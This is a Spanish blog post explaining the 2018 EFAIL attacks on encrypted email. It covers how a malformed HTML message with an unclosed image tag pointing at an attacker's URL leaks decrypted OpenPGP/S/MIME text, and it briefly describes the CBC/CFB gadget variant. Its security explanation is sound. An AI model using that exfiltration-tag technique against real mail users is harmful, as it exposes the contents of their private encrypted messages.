Fallo de seguridad en OpenPGP y S/MIME

¡Hola Nómadas!

Ayer día 14 de mayo de 2018 se publicó una vulnerabilidad que afecta al cifrado de los correos electrónicos. Ahora pasaremos a contaros la realidad de la noticia, pues no es tal como se puede leer en otros medios.

Al parecer todas las noticias se centran en que se ha conseguido encontrar una vulnerabilidad sobre OpenPGP y S/MIME. Pero si consultamos la web donde se explica cómo funciona la vulnerabilidad, https://efail.de/, vemos que realmente no se trata de una vulnerabilidad sobre OpenPGP ni S/MIME. Aunque lo cierto es que estas tecnologías sí que están involucradas en la vulnerabilidad encontrada.

Modelo de ataque OpenPGP y S/MIME

Bien, como decíamos, en la web https://efail.de/ explica que se han encontrado dos vulnerabilidades y como se explotan o como se puede sacar provecho de las mismas.

La primera vulnerabilidad afecta a los gestores o clientes de correo electrónico y como interpretan los correos. La mayoría de los gestores de correo cuando reciben un email cifrado intentan descifrarlo con la clave oportuna (si disponen de ella), y una vez descifrado lo muestran al usuario para que pueda leerlo. Pues bien, ¿Qué pasa si se envía un correo mal formado? La mayoría pensaríamos, seguramente nada, obtendríamos un error diciendo que no se puede mostrar el mensaje. Pero la realidad es distinta. Es aquí donde reside la vulnerabilidad. Como veis no es un problema de OpenPGP o de S/MIME.

¿Qué sucede realmente?

El mensaje mal formado que se envía tiene una forma parecida a esta:

Email mal formado

Como se puede ver, todo parece ser un correo en formato HTML, pues existe un content-type: text/html, así que el gestor de correo sabe que ese contenido debe de interpretarlo como HTML. Por otra parte, se escribe la etiqueta <img src=”http://<url atacante> que prestáis atención, las comillas (“) que se abren después del igual (=) no se cierran.

Te puede interesar  Booking.com es objetivo de estafadores digitales

Aquí es donde el gestor de correo electrónico entiende que todo lo que viene a continuación es parte de la URL de la etiqueta imagen hasta que encuentre un “>. Ahora bien, mientras el gestor de correo va leyendo el contenido de la URL “descubre” que hay un contenido cifrado, esto se identifica con el content-type: application/pck7-mime, cuando termina de leer el contenido cifrado el cliente de correo descifra el mensaje sustituyendo el mensaje cifrado y continua “leyendo” el mensaje para encontrar el cierre de la etiqueta imagen.

Después de leer y procesar todo el mensaje mal formado lo muestra al usuario. Como se trata de un mensaje en HTML lo que se produce es la carga de imágenes de modo automático. Con que si unimos la carga de imágenes con el mensaje descifrado dentro de lo que el gestor de correo identifica como una etiqueta HTML de imagen. Obtenemos una petición HTTP hacia el servidor del atacante con el contenido descifrado del mensaje.

Etiqueta HTML con el contenido descifrado.

Mensaje descifrado del correo mal formado

URL final que se visitará para cargar la imagen desde el servidor del atacante.

Petición HTTP donde se envían los datos

Como hemos visto la vulnerabilidad no radica en OpenPGP o S/MIME, sino más bien en los gestores de correo electrónico.

El segundo método es más complicado de explicar así que lo haremos una explicación muy básica y sin entrar en profundidad en la misma.

¿Cómo explotar el cifrado CBC/CFB o por bloques?

El cifrado de los mensajes se hace por bloques y no todo de una vez como podría uno imaginar.

El método es el siguiente, tenemos un texto de tamaño X, se parte en trozos más pequeños de un mismo tamaño, si el remanente no cumple con el tamaño mínimo se añaden ceros (0) para completar el tamaño. Después de trocear el mensaje original se cifra cada uno de los trozos. El método utiliza el resultado cifrado del primer bloque como “inicializador” para el cifrado del segundo bloque, el resultado de este segundo bloque se usa como entrada del tercero y así hasta que se completen todos los bloques. Hay que decir que para el primer bloque se usan unos valores aleatorios.

Te puede interesar  Booking.com es objetivo de estafadores digitales

Con esto en mente, y sabiendo que cuando se cifran correos hay parte de texto que siempre es igual, como por ejemplo contet-type: multipart/signed. Se puede utilizar el resultado del cifrado de los bloques que contienen el texto conocido como modificador para los siguientes bloques, de modo que se consigue modificar el texto durante el cifrado para añadir una etiqueta HTML y así forzar el robo de información cuando el usuario abra el mensaje modificado y cifrado, tal como hemos explicado más arriba.

Una imagen con información más técnica sobre cómo funciona este segundo método.

Ataque a S/MIME

Esperamos que hayáis entendido como funciona la vulnerabilidad relacionada con OpenPGP y S/MIME. Ahora ya sabéis que no se trata de un fallo de la tecnología sino del mal uso de la misma. Estad atentos a las actualizaciones de software de vuestros clientes de correo electrónico que en breve habrá actualizaciones.

Algunas referencias para más información:

https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now

https://www.kb.cert.org/vuls/id/122919

https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060334.html

¡Saludos Nómadas!

 

Fallo de seguridad en OpenPGP y S/MIME
Etiquetado en:             

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *